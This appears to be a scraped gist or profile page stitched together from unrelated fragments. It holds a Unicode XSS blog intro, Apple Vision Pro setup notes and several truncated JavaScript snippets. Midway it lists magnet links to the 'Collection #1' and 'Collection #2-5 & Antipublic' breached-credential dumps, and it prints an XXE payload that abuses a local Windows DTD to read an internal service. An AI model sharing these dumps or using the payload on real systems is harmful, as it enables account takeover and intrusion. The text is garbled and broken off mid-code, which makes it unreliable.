dslusser

Deobfuscating / Unminifying Obfuscated Web App / JavaScript Code

Unicode XSS via Combining Characters

Most application security practitioners are familiar with Unicode XSS, which typically arises from the Unicode character fullwidth-less-than-sign. It’s not a common vulnerability but does occasionally appear in applications that otherwise have good XSS protection. In this blog I describe another variant of Unicode XSS that I have identified, using combining characters. I’ve not observed this in the wild, so it’s primarily of theoretical concern. But the scenario is not entirely implausible and I’ve not otherwise seen this technique discussed, so I hope this is useful.

Recap of Unicode XSS

Lab: https://4t64ubva.xssy.uk/

A quick investigation of the lab shows that it is echoing the name parameter, and performing HTML escaping:

Cloud Gaming on Apple Vision Pro

Cloud Gaming is a great way to enjoy graphically demanding games on Apple Vision Pro.

Since Safari on visionOS does not support PWA mode, here is how you can access cloud gaming services on Apple Vision Pro.

What’s needed

A compatible game controller

Displaying HDMI sources on Apple Vision Pro

While it's possible to stream most content to Apple Vision Pro directly over the internet, having the ability to use Apple Vision Pro as an HDMI display can still be useful.

Since Apple Vision Pro does not support connecting to an HDMI input directly or using an HDMI capture card, we have to be a little creative to make this work. NDI provides the ability to stream HDMI content over a local network with really low latency, and it works great with Apple Vision Pro.

This page shows the setup I’m using.

	# Please Note, I am sharing this, hoping this will be used for good public use, such as data analysis, penetration testing etc
	# These links are already available all over the internet
	# Also Note, Trying to login into someone else's account without their permission is unethical and illegal


	# Collection 1
	magnet:?xt=urn:btih:B39C603C7E18DB8262067C5926E7D5EA5D20E12E&dn=Collection%201&tr=udp%3a%2f%2ftracker.coppersurfer.tk%3a6969%2fannounce&tr=udp%3a%2f%2ftracker.leechers-paradise.org%3a6969%2fannounce&tr=http%3a%2f%2ft.nyaatracker.com%3a80%2fannounce&tr=http%3a%2f%2fopentracker.xyz%3a80%2fannounce

	# Collection 2-5 & Antipublic
	magnet:?xt=urn:btih:D136B1ADDE531F38311FBF43FB96FC26DF1A34CD&dn=Collection%20%232-%235%20%26%20Antipublic&tr=udp%3a%2f%2ftracker.coppersurfer.tk%3a6969%2fannounce&tr=udp%3a%2f%2ftracker.leechers-paradise.org%3a6969%2fannounce&tr=http%3a%2f%2ft.nyaatracker.com%3a80%2fannounce&tr=http%3a%2f%2fopentracker.xyz%3a80%2fannounce

	<!DOCTYPE doc [
	<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
	<!ENTITY % SuperClass '>
	<!ENTITY % file SYSTEM "http://example.com:9200/_cat/indices">
	<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://test/#%file;'>">
	%eval;
	%error;
	<!ENTITY test "test"'
	>
	%local_dtd;

	javascript: (function() {
	var scripts = document.getElementsByTagName("script"),
	regex = /(?<=(\"\|\%27\|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"\|\'\|\%60))/g;
	const results = new Set;
	for (var i = 0; i < scripts.length; i++) {
	var t = scripts[i].src;
	"" != t && fetch(t).then(function(t) {
	return t.text()
	}).then(function(t) {
	var e = t.matchAll(regex);

	/**
	* RuntimeGlobalsChecker
	*
	* You can use this utility to quickly check what variables have been added (or
	* leaked) to the global window object at runtime (by JavaScript code).
	* By running this code, the globals checker itself is attached as a singleton
	* to the window object as "__runtimeGlobalsChecker__".
	* You can check the runtime globals programmatically at any time by invoking
	* "window.__runtimeGlobalsChecker__.getRuntimeGlobals()".
	*

	(async function(){

	// More info on usage - dws:
	// https://community.canvaslms.com/t5/Canvas-Developers-Group/Rubric-Analysis-Using-the-API/ba-p/270213
	// Basically just copy/paste this script to the Developer Tools -> Console tab on any Canvas Assignment page
	// that has a rubic as a grading method.

	// Original Github Gist: https://gist.github.com/acbart/0bfd1b2dbc324b345c305e362e00273c

	// https://stackoverflow.com/questions/8735792/how-to-parse-link-header-from-github-api